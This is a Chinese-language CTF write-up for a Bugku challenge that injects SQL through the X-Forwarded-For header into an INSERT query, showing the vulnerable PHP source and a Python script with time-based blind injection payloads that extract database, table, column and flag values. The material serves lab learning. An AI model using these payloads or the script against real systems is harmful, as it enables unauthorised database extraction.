Bugku INSERT INTO注入(时间盲注)

拿到题目看到源码:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

 这段代码得意思是将http头x-forword-word字段的IP地址插入到数据库当中,那么就可以利用这一字段注入了(explode(',', $ip)过滤了逗号),注入方式可以利用时间盲注,具体的注入我也是看了某些大佬的博客才明白。

 

用到的数据库知识点如下:

CASE value WHEN [compare-value] THEN result [WHEN [compare-value] THEN result ...] [ELSE result] END

CASE WHEN [condition] THEN result [WHEN [condition] THEN result ...] [ELSE result] END

第一个形式当 value=compare-value 时返回 result。第二个形式当第一个为真值的 condition 出现时,返回该条件的结果。如果没有匹配的结果值,那么 ELSE 后的结果将被返回。如果没有 ELSE 部分,那么 NULL 被返回:

 

Bugku INSERT INTO注入(时间盲注)_第1张图片

SUBSTRING(str FROM pos FOR len)从字符串 strpos 位置起截取长度为len的子字符串。

Bugku INSERT INTO注入(时间盲注)_第2张图片

利用这些sql语句就可以构造基于时间的盲注。

length()好像被过滤了,所以直接爆破名。

#-*-coding:utf-8-*-

import requests
import string

url = "http://123.206.87.240:8002/web15/"
str1 = string.lowercase+string.uppercase+string.digits+",_ !@#$%^&*."
flag=""

for i in range(1,35):
    for s in str1:
        #爆破数据库名
        # sql = "11' and (case when (substr((select database()) from %i for 1 )='%s') then sleep(4) else 1 end )) #" % (i,s)
        
        #爆破表名
        # sql="11' and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from %i for 1 )='%s') then sleep(4) else 1 end )) #" % (i,s)
        
        #爆破列名
        # sql="11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from %i for 1 )='%s') then sleep(4) else 1 end )) #" % (i, s)
        
        #查看flag
        # sql="11' and (case when (substr((select group_concat(flag) from flag) from %i for 1 )='%s') then sleep(4) else 1 end )) #" % (i, s)

        headers={"x-forwarded-for":sql}
        try:
            re=requests.get(url,headers=headers,timeout=4)
        except:
            flag=flag+s
            print flag
            break

 

数据库名:web15

表名:flag

列名:flag

flag:自己尝试一下

 

 

你可能感兴趣的:(Bugku INSERT INTO注入(时间盲注))